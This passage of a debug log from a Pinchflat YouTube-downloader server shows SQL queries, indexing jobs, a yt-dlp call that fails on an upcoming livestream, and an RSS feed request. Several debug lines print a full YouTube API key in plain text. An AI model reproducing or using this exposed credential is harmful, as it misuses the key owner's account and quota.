INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 16:27:50.156 [debug] QUERY OK source="tasks" db=0.2ms idle=1.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799995, 5, ~U[2026-02-10 22:27:50Z], ~U[2026-02-10 22:27:50Z]] 16:27:50.157 [info] {"args":{"id":5},"id":3799956,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":117032,"event":"job:stop","queue_time":536535,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:55.044 [info] {"args":{"id":1},"id":3799957,"meta":{},"system_time":1770762475044682252,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:55.045 [debug] QUERY OK source="sources" db=0.1ms idle=1166.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:27:55.045 [debug] QUERY OK source="settings" db=0.1ms idle=1166.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:55.045 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:55.045 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:55.045 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:27:55.045 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:55.045 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:55.162 [debug] QUERY OK source="media_items" db=0.7ms idle=116.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "aXZ-NfMu60Q", "RTZlj4mmpNE", "o4e-Kt02rfc", "sRUupu5iudw", "9bLNw6Zb_SQ", "4gqNRGucp50", "FFtr2vNwDNU", "cnNucwTyy8w", "pRLn1pingDM", "xKIFCdPHeJU", "hxc8RgchpBs", "OT_iyvOy0Tk", "4Ps-JDyimJw", "2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 16:27:55.173 [debug] QUERY OK source="media_items" db=9.8ms idle=117.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:27:55.192 [debug] QUERY OK source="tasks" db=1.2ms idle=1.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799996, 1, ~U[2026-02-10 22:27:55Z], ~U[2026-02-10 22:27:55Z]] 16:27:55.193 [info] {"args":{"id":1},"id":3799957,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148216,"event":"job:stop","queue_time":493684,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:58.192 [info] {"source":"oban","duration":10191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.018 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:28:28.203 [info] {"source":"oban","duration":10082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:58.214 [info] {"source":"oban","duration":10175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.019 [info] {"source":"oban","duration":282,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:29:28.223 [info] {"source":"oban","duration":7939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:58.235 [info] {"source":"oban","duration":10860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.020 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:30:28.243 [info] {"source":"oban","duration":7609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:36.213 [info] {"args":{"id":37},"id":3799958,"meta":{},"system_time":1770762636213324630,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:36.213 [debug] QUERY OK source="sources" db=0.1ms idle=335.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 16:30:36.214 [debug] QUERY OK source="settings" db=0.8ms idle=335.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.215 [debug] QUERY OK source="media_profiles" db=0.8ms idle=336.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:30:36.216 [debug] QUERY OK source="settings" db=0.6ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.216 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 16:30:36.216 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.216 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:30:36.429 [debug] QUERY OK source="media_items" db=0.6ms idle=214.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 16:30:36.429 [debug] QUERY OK source="settings" db=0.0ms idle=215.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.429 [debug] QUERY OK source="settings" db=0.0ms idle=214.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.430 [debug] Running yt-dlp command for action: get_media_attributes 16:30:36.430 [debug] QUERY OK source="settings" db=0.0ms idle=214.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.430 [debug] QUERY OK source="settings" db=0.0ms idle=214.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.430 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:30:36.430 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2c/4d/2c4dfe9f2e3d8418911b449081f1d2580d8173e9ba3d965dbdede4f05f72a6e0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:30:37.776 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/2c/4d/2c4dfe9f2e3d8418911b449081f1d2580d8173e9ba3d965dbdede4f05f72a6e0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours. 16:30:37.776 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 17 hours.\n", 1} 16:30:37.778 [debug] QUERY OK source="media_items" db=1.0ms idle=1347.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 16:30:37.779 [debug] QUERY OK source="tasks" db=0.1ms idle=571.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799997, 37, ~U[2026-02-10 22:30:37Z], ~U[2026-02-10 22:30:37Z]] 16:30:37.779 [info] {"args":{"id":37},"id":3799958,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1566115,"event":"job:stop","queue_time":102774,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:30:58.254 [info] {"source":"oban","duration":9995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.022 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:31:28.268 [info] {"source":"oban","duration":12912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:29.762 [info] GET /sources/a9100910-ac63-4f4f-8bb2-2a507e1563c7/feed.xml 16:31:29.762 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a9100910-ac63-4f4f-8bb2-2a507e1563c7"} Pipelines: [:maybe_basic_auth] 16:31:29.762 [debug] QUERY OK source="sources" db=0.1ms idle=1884.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a9100910-ac63-4f4f-8bb2-2a507e1563c7"] 16:31:29.772 [debug] QUERY OK source="media_items" db=9.8ms idle=1500.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [38, 2000] 16:31:29.833 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1564.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [38] 16:31:29.833 [debug] QUERY OK source="media_metadata" db=0.0ms idle=955.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564174] 16:31:29.834 [info] Sent 200 in 72ms 16:31:58.279 [info] {"source":"oban","duration":10416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.022 [info] {"source":"oban","duration":268,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:32:28.287 [info] {"source":"oban","duration":7441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:58.296 [info] {"source":"oban","duration":7799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.023 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:33:28.305 [info] {"source":"oban","duration":7806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:58.313 [info] {"source":"oban","duration":7551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.024 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:34:28.327 [info] {"source":"oban","duration":13074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:58.339 [info] {"source":"oban","duration":11531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.025 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:35:28.348 [info] {"source":"oban","duration":7913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:58.357 [info] {"source":"oban","duration":7692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.026 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 16:36:26.572 [info] {"args":{"id":19},"id":3799959,"meta":{},"system_time":1770762986572277789,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:36:26.573 [debug] QUERY OK source="sources" db=0.7ms idle=694.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 16:36:26.574 [debug] QUERY OK source="settings" db=0.9ms idle=694.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.575 [debug] QUERY OK source="media_profiles" db=0.6ms idle=695.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:36:26.575 [debug] QUERY OK source="settings" db=0.6ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.575 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 16:36:26.575 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:36:26.575 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:36:26.745 [debug] QUERY OK source="media_items" db=0.8ms idle=170.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN 